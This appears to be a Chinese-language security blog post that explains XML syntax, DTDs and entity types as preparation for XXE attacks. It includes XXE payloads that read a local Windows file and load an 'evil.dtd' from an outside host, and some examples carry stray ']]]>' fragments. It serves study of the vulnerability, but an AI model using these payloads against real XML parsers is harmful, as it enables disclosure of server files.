当前位置:网站首页>【Try to Hack】XML
【Try to Hack】XML
2022-06-29 15:37:00 【华为云】
博客主页:开心星人的博客主页
系列专栏:Try to Hack
欢迎关注点赞收藏️留言
首发时间:2022年6月8日
作者水平很有限,如果发现错误,还望告知,感谢!
@toc
XML介绍
XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的
语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,==XML不使用预定义标记==,因
此可以为标记指定描述数据的名称。
一个XML文件由XML声明(可选)、DTD(可选)、文档元素组成。
语法规则:
(1) XML文档必须有一个根元素
(2) XML元素都必须有一个关闭标签
(3) XML标签对大小写敏感
(4) XML元素必须被正确的嵌套
(5) XML属性值必须加引号
(6) 实体引用,如果把字符 < 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。所以需要实体化引用为<
(7) XML 中,空格会被保留
<!--XML声明--><?xml version="1.0"?><!--文档类型定义DTD--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]]]><!--文档元素--><note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body></note>DTD定义元素
<!--文档类型定义DTD--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]]]>PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD 就定义了 XML 的根元素是note,然后根元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body></note>DTD定义实体
==实体分为内部实体、外部实体、参数实体和公共实体==
除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。
在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的
<!--文档类型定义DTD--><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "test" >]>这个是==内部实体==
定义元素为 ANY 说明接受任何元素
定义了一个 xml 的实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用
文档元素可以这么写
<!--文档元素--><creds> <user>&xxe;</user> <pass>mypass</pass></creds>&xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL"> 外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>参数实体
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI"><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" >%an-element;%xxe;]><foo>&evil;</foo>然后evil.dtd的内容为
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >注意%xxe;的使用,应该还是比较容易理解的
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> %an-element;]>==参数实体在我们 Blind XXE 中起到了至关重要的作用==
公共实体和公用DTD
公用实体<!ENTITY 实体名称 PUBLIC "public_ID" "URI">公用DTD<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>和参数实体使用差不多
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >%xxe;]><foo>&evil;</foo>XML 属性
属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要:如下例,就明确了文件类型为 GIF,方便程序进行处理。
<file type="gif">computer.gif</file>边栏推荐
- 关于 麒麟系统启动应用报错“undefined symbol: __cxa_throw_bad_array_new_length, version Qt_5“ 的解决方法
- postgresql源码学习(23)—— 事务日志④-日志组装
- Leetcode-470- implement rand10() with rand7()
- Alibaba cloud experience Award: use polardb-x and Flink to build a large real-time data screen
- Stlink troubleshooting
- 微信公告号自动回复使用图灵机器人实现智能回复
- List集合详细讲解
- wallys/m.2/Adapter card(one pcie1x to 4 x Mini PCIE)
- Polarimetric SAR surface classification
- Cmake learning-2
猜你喜欢

京东联盟API - 万能转链接口 - 京品库接口 - 接口定制

【云原生】Nacos-TaskManager 任务管理的使用

Cmake learning-2

企业转型升级之道:数字化转型,思想先行

面试官:说一下MySQL事务隔离级别?

89. (cesium article) cesium aggregation diagram (custom picture)

89.(cesium篇)cesium聚合图(自定义图片)

Interviewer: tell me about the MySQL transaction isolation level?

《网络是怎么样连接的》读书笔记 - 服务器端的局域网中(四)

墨天轮“高可用架构”干货文档分享(含Oracle、MySQL、PG资料124篇)
随机推荐
Digital tracking analysis of insurance services in the first quarter of 2022
mysql XA 分布式事务
Applet judges that the data is not empty
Paging SQL (rownum, row_number, deny_rank, rank)
无意发现的【TiDB缓存表】,竟能解决读写热点问题
为Golang项目编写Makefile
89. (cesium article) cesium aggregation diagram (custom picture)
radar transmitter
EasyGBS调用获取实时快照接口时,出现白色方块该如何解决?
ROS2机器人f1tenth之CLI工具基础
swoole TCP 分布式实现
MySQL scheduled full database backup & rolling deletion of backup data before the specified date
swift JSONSerialization
智能聊天机器人的优势在哪里?资深独立站卖家告诉你!
European standard plug en50075 test items
攻防演练之战前扫雷:漏洞管理的5大措施
PostgreSQL source code learning (25) -- transaction log ⑥ - wait for log writing to complete
Aleph Farms聘请监管事务主管,提前为全球商业化做好准备
GWD:基于高斯Wasserstein距离的旋转目标检测 | ICML 2021
stlink故障修复